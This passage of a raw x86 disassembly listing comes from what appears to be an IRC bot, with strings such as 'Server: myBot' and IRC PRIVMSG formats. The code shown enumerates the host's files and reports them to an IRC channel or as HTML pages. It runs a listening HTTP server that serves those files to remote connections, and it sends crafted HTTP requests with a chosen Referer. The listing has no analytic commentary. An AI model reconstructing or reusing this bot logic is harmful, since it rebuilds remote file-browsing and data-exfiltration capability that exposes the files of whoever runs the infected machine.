		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+Str]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 28h
		jmp	loc_4126D8
; ---------------------------------------------------------------------------


loc_412451:				; CODE XREF: sub_412135+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_4123D0
; ---------------------------------------------------------------------------


loc_41245C:				; CODE XREF: sub_412135+2D5j
		cmp	[ebp+Source], ebx
		jz	loc_412546
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+Source]
		lea	eax, [ebp+Str]
		push	offset aSS_4	; "%s%s/"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Eh
		lea	eax, [ebp+Str1]
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		jbe	short loc_412502
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_412507
; ---------------------------------------------------------------------------


loc_412502:				; CODE XREF: sub_412135+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_412507:				; CODE XREF: sub_412135+3CBj
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		push	3Ch
		lea	eax, [ebp+Dest]
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4126C9
; ---------------------------------------------------------------------------


loc_412546:				; CODE XREF: sub_412135+32Aj
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_3	; "<%s>"
		lea	eax, [ebp+var_494]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_494]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_412573:				; CODE XREF: sub_412135+47Bj
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 24h
		jmp	loc_4126D8
; ---------------------------------------------------------------------------


loc_412588:				; CODE XREF: sub_412135+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4125B2
		push	ebx
		push	[ebp+var_36C]
		call	sub_419443
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_412573
; ---------------------------------------------------------------------------


loc_4125B2:				; CODE XREF: sub_412135+459j
		cmp	[ebp+Source], ebx
		jz	loc_4126B2
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+Source]
		lea	eax, [ebp+Str]
		push	offset aSS	; "%s%s"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Fh
		lea	eax, [ebp+Str1]
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		jbe	short loc_412658
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_41265D
; ---------------------------------------------------------------------------


loc_412658:				; CODE XREF: sub_412135+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_41265D:				; CODE XREF: sub_412135+521j
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		mov	eax, [ebp+var_36C]
		shr	eax, 0Ah
		push	eax
		push	3Ch
		lea	eax, [ebp+Dest]
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_4126D8
; ---------------------------------------------------------------------------


loc_4126B2:				; CODE XREF: sub_412135+480j
		push	[ebp+var_36C]
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi		; Count


loc_4126C9:				; CODE XREF: sub_412135+40Cj
		lea	eax, [ebp+Str]
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h


loc_4126D8:				; CODE XREF: sub_412135+317j
					; sub_412135+44Ej ...
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_412707
		push	7D0h
		call	ds:dword_42B014	; Sleep


loc_412707:				; CODE XREF: sub_412135+225j
					; sub_412135+240j ...
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_42B0B0	; FindNextFileA
		test	eax, eax
		jnz	loc_412354


loc_41271F:				; CODE XREF: sub_412135+214j
		push	[ebp+var_C]
		call	ds:dword_42B0A4	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_412762
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_419443
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_419443
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+Str]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_412790
; ---------------------------------------------------------------------------


loc_412762:				; CODE XREF: sub_412135+5F6j
		cmp	[ebp+Source], ebx
		lea	eax, [ebp+Str]
		jz	short loc_41277C
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_412790
; ---------------------------------------------------------------------------


loc_41277C:				; CODE XREF: sub_412135+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_412790:				; CODE XREF: sub_412135+62Bj
					; sub_412135+645j
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_412135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127B6	proc near		; CODE XREF: sub_4129C2+125p

Dst		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_8], esi
		call	ds:dword_42B08C	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_41286E
		push	esi
		push	ebx
		call	ds:dword_42B0BC	; GetFileSize
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_412867


loc_4127FB:				; CODE XREF: sub_4127B6+AFj
		push	400h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	edi, [ebp+var_4]
		jbe	short loc_412818
		mov	edi, [ebp+var_4]


loc_412818:				; CODE XREF: sub_4127B6+5Dj
		mov	eax, [ebp+var_4]
		push	2
		push	esi
		neg	eax
		push	eax
		push	ebx
		call	ds:dword_42B0B8	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	ds:dword_42B080	; ReadFile
		push	esi
		push	edi
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412862
		call	dword_4441C4	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_412867
		xor	eax, eax


loc_412862:				; CODE XREF: sub_4127B6+9Bj
		sub	[ebp+var_4], eax
		jnz	short loc_4127FB


loc_412867:				; CODE XREF: sub_4127B6+43j
					; sub_4127B6+A8j
		push	ebx
		call	ds:dword_42B004	; CloseHandle


loc_41286E:				; CODE XREF: sub_4127B6+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4127B6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_412873(char *Str)

sub_412873	proc near		; CODE XREF: sub_412B2A+17Bp

Str		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Str]
		push	edi		; Str
		xor	esi, esi
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_41289C


loc_412886:				; CODE XREF: sub_412873+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_412890
		mov	byte ptr [esi+edi], 2Fh


loc_412890:				; CODE XREF: sub_412873+17j
		push	edi		; Str
		inc	esi
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_412886


loc_41289C:				; CODE XREF: sub_412873+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_412873	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4128A1(int,char *Str,int,int,int,int,int,int,int)

sub_4128A1	proc near		; CODE XREF: sub_40274D+4FE6p

var_4A0		= byte ptr -4A0h
Dest		= byte ptr -310h
Format		= byte ptr -110h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		push	edi
		lea	eax, [ebp+var_4A0]
		push	eax
		push	101h
		call	dword_444110	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_444100	; socket
		push	10h		; Size
		mov	ebx, eax
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+arg_14]
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_4022BD
		pop	ecx
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41297E
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_41291A
		mov	eax, offset byte_42B633


loc_41291A:				; CODE XREF: sub_4128A1+72j
		push	esi
		push	[ebp+arg_10]
		mov	esi, 100h
		push	eax
		push	[ebp+arg_1C]
		lea	eax, [ebp+Format]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Format]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Format]
		push	eax
		push	ebx
		call	dword_4441A0	; send
		push	esi		; Size
		lea	eax, [ebp+Format]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	edi
		push	esi
		lea	eax, [ebp+Format]
		push	eax
		push	ebx
		call	dword_444064	; recv
		pop	esi


loc_41297E:				; CODE XREF: sub_4128A1+6Bj
		push	ebx
		call	dword_444218	; closesocket
		call	dword_444224	; WSACleanup
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4129BE
		push	edi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_4129BE:				; CODE XREF: sub_4128A1+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4128A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4129C2	proc near		; DATA XREF: sub_412B2A+245o

Str		= byte ptr -1654h
Source		= byte ptr -654h
Dest		= byte ptr -550h
var_44C		= dword	ptr -44Ch
Format		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1654h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+74h+Format]
		push	eax		; Format
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+74h+var_2C4]
		push	eax		; Format
		lea	eax, [ebp+74h+Source]
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+74h+var_A4], edi
		lea	eax, [ebp+74h+var_9C]
		jz	short loc_412A29
		push	offset aTextHtml ; "text/html"
		jmp	short loc_412A2E
; ---------------------------------------------------------------------------


loc_412A29:				; CODE XREF: sub_4129C2+5Ej
		push	offset aApplicationOct ; "application/octet-stream"


loc_412A2E:				; CODE XREF: sub_4129C2+65j
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	46h
		lea	eax, [ebp+74h+var_68]
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		mov	esi, 409h
		push	esi
		call	ds:dword_42B0C4	; GetDateFormatA
		push	1Eh
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_42B0C0	; GetTimeFormatA
		cmp	[ebp+74h+var_B8], 0FFFFFFFFh
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_68]
		push	eax
		lea	eax, [ebp+74h+var_9C]
		jnz	short loc_412A9B
		push	eax
		lea	eax, [ebp+74h+Str]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	short loc_412AB3
; ---------------------------------------------------------------------------


loc_412A9B:				; CODE XREF: sub_4129C2+C0j
		push	[ebp+74h+var_B8]
		push	eax
		lea	eax, [ebp+74h+Str]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 28h


loc_412AB3:				; CODE XREF: sub_4129C2+D7j
		lea	eax, [ebp+74h+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+Str]
		push	eax
		push	[ebp+74h+var_44C]
		call	dword_4441A0	; send
		cmp	[ebp+74h+var_A4], edi
		jnz	short loc_412AF0
		lea	eax, [ebp+74h+Dest]
		push	eax
		push	[ebp+74h+var_44C]
		call	sub_4127B6
		pop	ecx
		pop	ecx
		jmp	short loc_412B0D
; ---------------------------------------------------------------------------


loc_412AF0:				; CODE XREF: sub_4129C2+116j
		lea	eax, [ebp+74h+Source]
		push	eax		; Source
		push	edi		; int
		push	[ebp+74h+var_44C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		call	sub_412135
		add	esp, 10h


loc_412B0D:				; CODE XREF: sub_4129C2+12Cj
		push	[ebp+74h+var_44C]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_B4]
		call	sub_40B149
		pop	ecx
		push	edi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4129C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B2A	proc near		; CODE XREF: sub_412DD9+39Bp

Source		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Str		= byte ptr -314h
var_211		= byte ptr -211h
Dst		= byte ptr -210h
Dest		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_412B60
		push	offset aS_9	; "\\%s"
		jmp	short loc_412B68
; ---------------------------------------------------------------------------


loc_412B60:				; CODE XREF: sub_412B2A+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS	; "%s"


loc_412B68:				; CODE XREF: sub_412B2A+34j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 0Ch
		push	eax		; Str
		xor	esi, esi
		xor	ebx, ebx
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_412C03
		mov	[ebp+arg_8], 2


loc_412B93:				; CODE XREF: sub_412B2A+D7j
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_412BD3
		cmp	[ebp+esi+Dest],	25h
		jnz	short loc_412BD3
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_412BD3
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_412BD3
		inc	esi
		inc	esi
		add	[ebp+arg_8], 2
		mov	[ebp+ebx+Dst], 20h
		jmp	short loc_412BED
; ---------------------------------------------------------------------------


loc_412BD3:				; CODE XREF: sub_412B2A+79j
					; sub_412B2A+83j ...
		mov	al, [ebp+esi+Dest]
		cmp	al, 2Fh
		jnz	short loc_412BE3
		push	5Ch
		pop	eax
		jmp	short loc_412BE6
; ---------------------------------------------------------------------------


loc_412BE3:				; CODE XREF: sub_412B2A+B2j
		movsx	eax, al


loc_412BE6:				; CODE XREF: sub_412B2A+B7j
		mov	[ebp+ebx+Dst], al


loc_412BED:				; CODE XREF: sub_412B2A+A7j
		lea	eax, [ebp+Dest]
		inc	esi
		inc	[ebp+arg_8]
		push	eax		; Str
		inc	ebx
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_412B93


loc_412C03:				; CODE XREF: sub_412B2A+60j
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+Str]
		push	offset aSS	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	offset asc_42CDD8 ; "\n"
		push	eax		; Str
		call	_strtok
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_42B050	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_412C51
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412C54
		push	[ebp+arg_0]
		jmp	short loc_412CD0
; ---------------------------------------------------------------------------


loc_412C51:				; CODE XREF: sub_412B2A+11Bj
		mov	[ebp+var_4], esi


loc_412C54:				; CODE XREF: sub_412B2A+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_412C61
		mov	[ebp+var_4], esi


loc_412C61:				; CODE XREF: sub_412B2A+132j
		cmp	[ebp+var_4], edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_412CDB
		cmp	[ebp+arg_C], edi
		jz	short loc_412CCF
		lea	eax, [ebp+Str]
		push	offset asc_434A30 ; "*"
		push	eax		; Dest
		call	_strcat
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_412873
		lea	eax, [ebp+Dst]
		push	eax		; Format
		lea	eax, [ebp+var_53C]
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_412D2A
; ---------------------------------------------------------------------------


loc_412CCF:				; CODE XREF: sub_412B2A+14Ej
		push	ebx


loc_412CD0:				; CODE XREF: sub_412B2A+125j
		call	dword_444218	; closesocket
		jmp	loc_412DC0
; ---------------------------------------------------------------------------


loc_412CDB:				; CODE XREF: sub_412B2A+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		push	80000000h
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_412D2A
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	edi
		push	esi
		mov	[ebp+var_31C], edi
		call	ds:dword_42B0BC	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_42B004	; CloseHandle


loc_412D2A:				; CODE XREF: sub_412B2A+1A3j
					; sub_412B2A+1CEj
		mov	esi, [ebp+arg_10]
		push	esi
		lea	eax, [ebp+Source]
		push	offset asc_4349FC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40AE85
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4444EC[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	eax, [ebp+var_6C4]
		push	eax
		push	offset sub_4129C2
		push	edi
		push	edi
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4444FC[ecx], eax
		jnz	short loc_412DCF
		push	ebx
		call	dword_444218	; closesocket
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4349C4 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_417D70
		add	esp, 10h


loc_412DC0:				; CODE XREF: sub_412B2A+1ACj
					; sub_412B2A+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_412DC7:				; CODE XREF: sub_412B2A+2ABj
		push	5
		call	ds:dword_42B014	; Sleep


loc_412DCF:				; CODE XREF: sub_412B2A+266j
		cmp	[ebp+var_318], edi
		jz	short loc_412DC7
		jmp	short loc_412DC0
sub_412B2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_412DD9	proc near		; DATA XREF: sub_40274D+2073o
					; sub_40B690+46Co

Str		= byte ptr -28F0h
Str1		= byte ptr -18F0h
Dest		= byte ptr -8F0h
var_6F0		= dword	ptr -6F0h
var_6EC		= byte ptr -6ECh
var_464		= byte ptr -464h
var_360		= dword	ptr -360h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
Dst		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 28F0h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0ECh
		lea	edi, [ebp+74h+var_6F0]
		rep movsd
		xor	esi, esi
		inc	esi
		push	10h		; Size
		mov	[eax+3ACh], esi
		xor	ebx, ebx
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+74h+var_10], esi
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_360]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+74h+var_22], ax
		mov	[ebp+74h+var_20], ebx
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+74h+var_8], edi
		jz	loc_4131AF
		mov	eax, [ebp+74h+var_358]
		imul	eax, 234h
		mov	dword_4444F4[eax], edi
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	edi
		call	dword_4441E4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_4131AF
		push	7FFFFFFFh
		push	edi
		call	dword_444230	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_4131AF
		lea	eax, [ebp+74h+var_10]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_444094	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_4131AF
		push	41h
		pop	ecx
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_23C]
		push	ebx
		push	eax
		mov	[ebp+74h+var_124], edi
		mov	[ebp+74h+var_128], esi
		mov	[ebp+74h+var_C], edi
		mov	eax, edi


loc_412EBF:				; CODE XREF: sub_412DD9+3CEj
		inc	eax
		lea	esi, [ebp+74h+var_128]
		lea	edi, [ebp+74h+var_23C]
		push	eax
		rep movsd
		call	dword_4441B0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_4131AC
		xor	esi, esi
		mov	[ebp+74h+arg_0], esi


loc_412EE3:				; CODE XREF: sub_412DD9+3B8j
		lea	eax, [ebp+74h+var_23C]
		push	eax
		push	esi
		call	dword_44415C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_413187
		cmp	esi, [ebp+74h+var_8]
		jnz	short loc_412F63
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_138]
		push	eax
		push	[ebp+74h+var_8]
		mov	[ebp+74h+var_14], 10h
		call	dword_4440BC	; accept
